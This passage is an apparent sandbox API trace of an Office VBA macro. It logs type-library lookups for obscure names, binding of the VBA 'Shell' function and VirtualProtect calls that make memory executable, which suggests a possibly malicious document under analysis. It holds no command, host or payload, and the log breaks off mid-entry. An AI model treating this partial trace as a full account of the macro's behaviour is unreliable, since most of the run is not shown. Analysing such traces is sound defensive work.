ITypeComp:RemoteBind (in: This=0xb1d1380, szName="talljo", lHashVal=0x10c02a, wFlags=0x5, ppTInfo=0x27c6a8, pDescKind=0x27c6bc, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c6a8*=0x0, pDescKind=0x27c6bc*=0, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0081.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b8e, cbMultiByte=7, lpWideCharStr=0x27c6f0, cchWideChar=8 | out: lpWideCharStr="talljo") returned 7 [0081.591] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="talljo", lHashVal=0x10c02a, wFlags=0x5, ppTInfo=0x27c6a8, pDescKind=0x27c6bc, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c6a8*=0x0, pDescKind=0x27c6bc*=0, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0081.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b8e, cbMultiByte=7, lpWideCharStr=0x27c6f0, cchWideChar=8 | out: lpWideCharStr="talljo") returned 7 [0081.591] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="talljo", lHashVal=0x10c02a, wFlags=0x5, ppTInfo=0x27c6a8, pDescKind=0x27c6bc, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c6a8*=0x0, pDescKind=0x27c6bc*=0, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0081.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762b8e, cbMultiByte=7, lpWideCharStr=0x27c6f0, cchWideChar=8 | out: lpWideCharStr="talljo") returned 7 [0081.591] ITypeComp:RemoteBind (in: This=0x6fed890, szName="talljo", lHashVal=0x10c02a, wFlags=0x5, ppTInfo=0x27c6a8, pDescKind=0x27c6bc, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c6a8*=0x0, pDescKind=0x27c6bc*=0, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0081.591] IMalloc:Alloc (This=0x7feffc15380, cb=0xe) returned 0xb684b00 [0081.591] _mbscpy_s (in: _Dst=0xb684b00, _DstSizeInBytes=0x7, _Src=0x6762b8e | out: _Dst=0xb684b00) returned 0x0 [0081.592] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_talljo") returned 0x103a94 [0081.592] strcpy_s (in: _Dst=0x27c800, _DstSize=0xe, _Src="_B_var_talljo" | out: _Dst="_B_var_talljo") returned 0x0 [0081.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27c800, cbMultiByte=14, lpWideCharStr=0x27c650, cchWideChar=14 | out: lpWideCharStr="_B_var_talljo") returned 14 [0081.592] IUnknown:AddRef (This=0xb1d1370) returned 0x5 [0081.592] ITypeLib:RemoteIsName (in: This=0xb1d1370, szNameBuf="_B_var_talljo", lHashVal=0x103a94, pfName=0x27c720, pBstrLibName=0x27c650 | out: pfName=0x27c720*=0, pBstrLibName=0x27c650) returned 0x0 [0081.592] IUnknown:Release (This=0xb1d1370) returned 0x4 [0081.592] IUnknown:AddRef (This=0xb1d0560) returned 0x11 [0081.592] ITypeLib:RemoteIsName (in: This=0xb1d0560, szNameBuf="_B_var_talljo", lHashVal=0x103a94, pfName=0x27c720, pBstrLibName=0x27c650 | out: pfName=0x27c720*=0, pBstrLibName=0x27c650) returned 0x0 [0081.592] IUnknown:Release (This=0xb1d0560) returned 0x10 [0081.592] IUnknown:AddRef (This=0xb1d1910) returned 0x6 [0081.593] ITypeLib:RemoteIsName (in: This=0xb1d1910, szNameBuf="_B_var_talljo", lHashVal=0x103a94, pfName=0x27c720, pBstrLibName=0x27c650 | out: pfName=0x27c720*=0, pBstrLibName=0x27c650) returned 0x0 [0081.593] IUnknown:Release (This=0xb1d1910) returned 0x5 [0081.593] IUnknown:AddRef (This=0x6fed880) returned 0x4 [0081.593] ITypeLib:RemoteIsName (in: This=0x6fed880, szNameBuf="_B_var_talljo", lHashVal=0x103a94, pfName=0x27c720, pBstrLibName=0x27c650 | out: pfName=0x27c720*=0, pBstrLibName=0x27c650) returned 0x0 [0081.593] IUnknown:Release (This=0x6fed880) returned 0x3 [0081.593] IUnknown:AddRef (This=0xb1d1370) returned 0x5 [0081.593] IUnknown:Release (This=0xb1d1370) returned 0x4 [0081.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762d2a, cbMultiByte=14, lpWideCharStr=0x27c6b0, cchWideChar=15 | out: lpWideCharStr="_B_var_talljo") returned 14 [0081.593] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="_B_var_talljo", lHashVal=0x103a94, wFlags=0x5, ppTInfo=0x27c668, pDescKind=0x27c67c, ppFuncDesc=0x27c680, ppVarDesc=0x74005f00720061, ppTypeComp=0x6a006c00000000, pDummy=0x0 | out: ppTInfo=0x27c668*=0x0, pDescKind=0x27c67c*=0, ppFuncDesc=0x27c680, ppVarDesc=0x74005f00720061, ppTypeComp=0x6a006c00000000, pDummy=0x0) returned 0x0 [0081.593] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5af250, cb=0x200) returned 0xb4b2da0 [0081.593] _mbscpy_s (in: _Dst=0x27c870, _DstSizeInBytes=0x7, _Src=0x6762b8e | out: _Dst=0x27c870) returned 0x0 [0081.594] IMalloc:Free (This=0x7feffc15380, pv=0xb684b00) [0081.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.594] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.594] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.594] GetCurrentProcess () returned 0xffffffffffffffff [0081.594] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4c) returned 1 [0081.594] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x7245690 [0081.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.595] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.595] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.595] GetCurrentProcess () returned 0xffffffffffffffff [0081.595] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4c) returned 1 [0081.595] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.596] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.596] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.596] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.596] GetCurrentProcess () returned 0xffffffffffffffff [0081.596] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4c) returned 1 [0081.596] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.596] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.596] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.596] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.596] GetCurrentProcess () returned 0xffffffffffffffff [0081.596] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4c) returned 1 [0081.596] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.596] IMalloc:Realloc (This=0x7feffc15380, pv=0xb4b2da0, cb=0x400) returned 0xb5f3090 [0081.596] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.596] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.596] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.596] GetCurrentProcess () returned 0xffffffffffffffff [0081.596] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x4c) returned 1 [0081.597] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762bb6, cbMultiByte=6, lpWideCharStr=0x27c6b0, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0081.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6762bb6, cbMultiByte=6, lpWideCharStr=0x27c6f0, cchWideChar=7 | out: lpWideCharStr="Shell") returned 6 [0081.597] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Shell", lHashVal=0x10d756, wFlags=0x1, ppTInfo=0x27c6a8, pDescKind=0x27c6bc, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x27c6a8*=0xb3fb1f8, pDescKind=0x27c6bc*=1, ppFuncDesc=0x27c6c0, ppVarDesc=0xb3b2820, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0081.598] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3fb1f8, ppTypeAttr=0x27c6b0, pDummy=0x1 | out: ppTypeAttr=0x27c6b0, pDummy=0x1) returned 0x0 [0081.598] ITypeInfo:LocalReleaseTypeAttr (This=0xb3fb1f8) returned 0x0 [0081.598] ITypeInfo:GetRefTypeInfo (in: This=0xb3fb1f8, hreftype=0x400, ppTInfo=0x27c3e8 | out: ppTInfo=0x27c3e8*=0xb3fb250) returned 0x0 [0081.598] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c5b8 | out: ppvObject=0x27c5b8*=0x0) returned 0x80004002 [0081.598] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3fb250, ppTypeAttr=0x27c438, pDummy=0x10 | out: ppTypeAttr=0x27c438, pDummy=0x10) returned 0x0 [0081.598] ITypeInfo:LocalReleaseTypeAttr (This=0xb3fb250) returned 0x0 [0081.598] IMalloc:Realloc (This=0x7feffc15380, pv=0x72b3320, cb=0x20) returned 0xb70ba60 [0081.598] IMalloc:Realloc (This=0x7feffc15380, pv=0xb604ff0, cb=0x28) returned 0xb70bac0 [0081.598] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c140 | out: ppvObject=0x27c140*=0x0) returned 0x80004002 [0081.598] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c130 | out: ppvObject=0x27c130*=0x0) returned 0x80004002 [0081.598] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c138 | out: ppvObject=0x27c138*=0x0) returned 0x80004002 [0081.598] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3fb250, ppTypeAttr=0x27c168, pDummy=0x10 | out: ppTypeAttr=0x27c168, pDummy=0x10) returned 0x0 [0081.598] ITypeInfo:LocalReleaseTypeAttr (This=0xb3fb250) returned 0x0 [0081.598] IUnknown:AddRef (This=0xb3fb250) returned 0x2 [0081.598] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c2e0 | out: ppvObject=0x27c2e0*=0x0) returned 0x80004002 [0081.598] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c2d8 | out: ppvObject=0x27c2d8*=0x0) returned 0x80004002 [0081.598] IUnknown:Release (This=0xb3fb250) returned 0x1 [0081.598] IMalloc:Realloc (This=0x7feffc15380, pv=0xb30cae0, cb=0x100) returned 0xb5af250 [0081.598] IUnknown:AddRef (This=0xb3fb250) returned 0x2 [0081.598] IUnknown:Release (This=0xb3fb250) returned 0x1 [0081.598] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27c450 | out: ppvObject=0x27c450*=0xb3fb1f8) returned 0x0 [0081.599] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb3fb1f8, memid=1610612745, invkind=1, pFuncIndex=0x27c448 | out: pFuncIndex=0x27c448*=0x9) returned 0x0 [0081.599] ITypeInfo2:GetParamCustData (in: This=0xb3fb1f8, indexFunc=0x9, indexParam=0x1, GUID=0x7fee5e14e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x27c458 | out: pVarVal=0x27c458*(varType=0x0, wReserved1=0xb5a, wReserved2=0x0, wReserved3=0x0, varVal1=0x7117930, varVal2=0x27d168)) returned 0x0 [0081.599] IUnknown:Release (This=0xb3fb1f8) returned 0x1 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27c510 | out: ppvObject=0x27c510*=0xb3fb1f8) returned 0x0 [0081.599] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb3fb1f8, memid=1610612745, invkind=1, pFuncIndex=0x27c550 | out: pFuncIndex=0x27c550*=0x9) returned 0x0 [0081.599] ITypeInfo2:GetFuncCustData (in: This=0xb3fb1f8, index=0x9, GUID=0x7fee5e13758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x27c568 | out: pVarVal=0x27c568*(varType=0x0, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x10d756)) returned 0x0 [0081.599] IUnknown:Release (This=0xb3fb1f8) returned 0x1 [0081.599] IUnknown:AddRef (This=0xb3fb250) returned 0x2 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c408 | out: ppvObject=0x27c408*=0x0) returned 0x80004002 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c4c8 | out: ppvObject=0x27c4c8*=0x0) returned 0x80004002 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb250, riid=0x7fee5e12aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c3a0 | out: ppvObject=0x27c3a0*=0x0) returned 0x80004002 [0081.599] IUnknown:Release (This=0xb3fb250) returned 0x1 [0081.599] IUnknown:AddRef (This=0xb3fb1f8) returned 0x2 [0081.599] ITypeInfo:LocalReleaseFuncDesc (This=0xb3fb1f8) returned 0x0 [0081.599] IUnknown:Release (This=0xb3fb1f8) returned 0x1 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c7d8 | out: ppvObject=0x27c7d8*=0x0) returned 0x80004002 [0081.599] IUnknown:AddRef (This=0xb3fb1f8) returned 0x2 [0081.599] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bac00, cb=0x40) returned 0xb6fb680 [0081.599] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bac30, cb=0x50) returned 0xb07a530 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c760 | out: ppvObject=0x27c760*=0x0) returned 0x80004002 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c730 | out: ppvObject=0x27c730*=0x0) returned 0x80004002 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c720 | out: ppvObject=0x27c720*=0x0) returned 0x80004002 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c728 | out: ppvObject=0x27c728*=0x0) returned 0x80004002 [0081.599] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3fb1f8, ppTypeAttr=0x27c758, pDummy=0x10 | out: ppTypeAttr=0x27c758, pDummy=0x10) returned 0x0 [0081.599] ITypeInfo:LocalReleaseTypeAttr (This=0xb3fb1f8) returned 0x0 [0081.599] IUnknown:AddRef (This=0xb3fb1f8) returned 0x3 [0081.599] IUnknown:Release (This=0xb3fb1f8) returned 0x2 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c948 | out: ppvObject=0x27c948*=0x0) returned 0x80004002 [0081.599] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c940 | out: ppvObject=0x27c940*=0x0) returned 0x80004002 [0081.600] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb3fb1f8, ppTLib=0x27c180, pIndex=0x0 | out: ppTLib=0x27c180*=0xb1d1370, pIndex=0x0) returned 0x0 [0081.600] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27c190, pDummy=0x0 | out: ppTLibAttr=0x27c190, pDummy=0x0) returned 0x0 [0081.600] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0081.600] IUnknown:Release (This=0xb1d1370) returned 0x7 [0081.600] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb1f8, memid=1610612745, invkind=1, refPtrFlags=0x27c180, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4de5130 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4de5130*=0x5380) returned 0x0 [0081.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5e3d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0081.600] strcpy_s (in: _Dst=0x7245758, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0 [0081.600] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb1f8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x27c180, pbstrName=0x0, pwOrdinal=0x27c1a0 | out: pBstrDllName=0x27c180*=0x0, pbstrName=0x0, pwOrdinal=0x27c1a0*=0xc410) returned 0x0 [0081.600] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb1f8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x27c180, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x27c180, pwOrdinal=0x500000000) returned 0x0 [0081.600] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0xb0edc30 [0081.600] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.600] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.600] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.600] GetCurrentProcess () returned 0xffffffffffffffff [0081.600] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x43) returned 1 [0081.600] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.601] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb3fb1f8, ppTLib=0x27c4b0, pIndex=0x0 | out: ppTLib=0x27c4b0*=0xb1d1370, pIndex=0x0) returned 0x0 [0081.601] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27c4c0, pDummy=0x0 | out: ppTLibAttr=0x27c4c0, pDummy=0x0) returned 0x0 [0081.601] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0081.601] IUnknown:Release (This=0xb1d1370) returned 0x7 [0081.601] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb1f8, memid=1610612745, invkind=1, refPtrFlags=0x27c4b0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4de5130 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4de5130*=0x5380) returned 0x0 [0081.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5e3d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0081.601] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb1f8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x27c4b0, pbstrName=0x0, pwOrdinal=0x27c4d0 | out: pBstrDllName=0x27c4b0*=0x0, pbstrName=0x0, pwOrdinal=0x27c4d0*=0xc740) returned 0x0 [0081.601] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb1f8, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x27c4b0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x27c4b0, pwOrdinal=0x500000000) returned 0x0 [0081.601] IMalloc:Realloc (This=0x7feffc15380, pv=0xb62db30, cb=0x184) returned 0xb62db30 [0081.601] IMalloc:Free (This=0x7feffc15380, pv=0xb07a7d0) [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.602] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.602] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.602] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.602] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.603] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.603] GetCurrentProcess () returned 0xffffffffffffffff [0081.603] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.603] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c8cc | out: lpflOldProtect=0x27c8cc*=0x40) returned 1 [0081.603] GetCurrentProcess 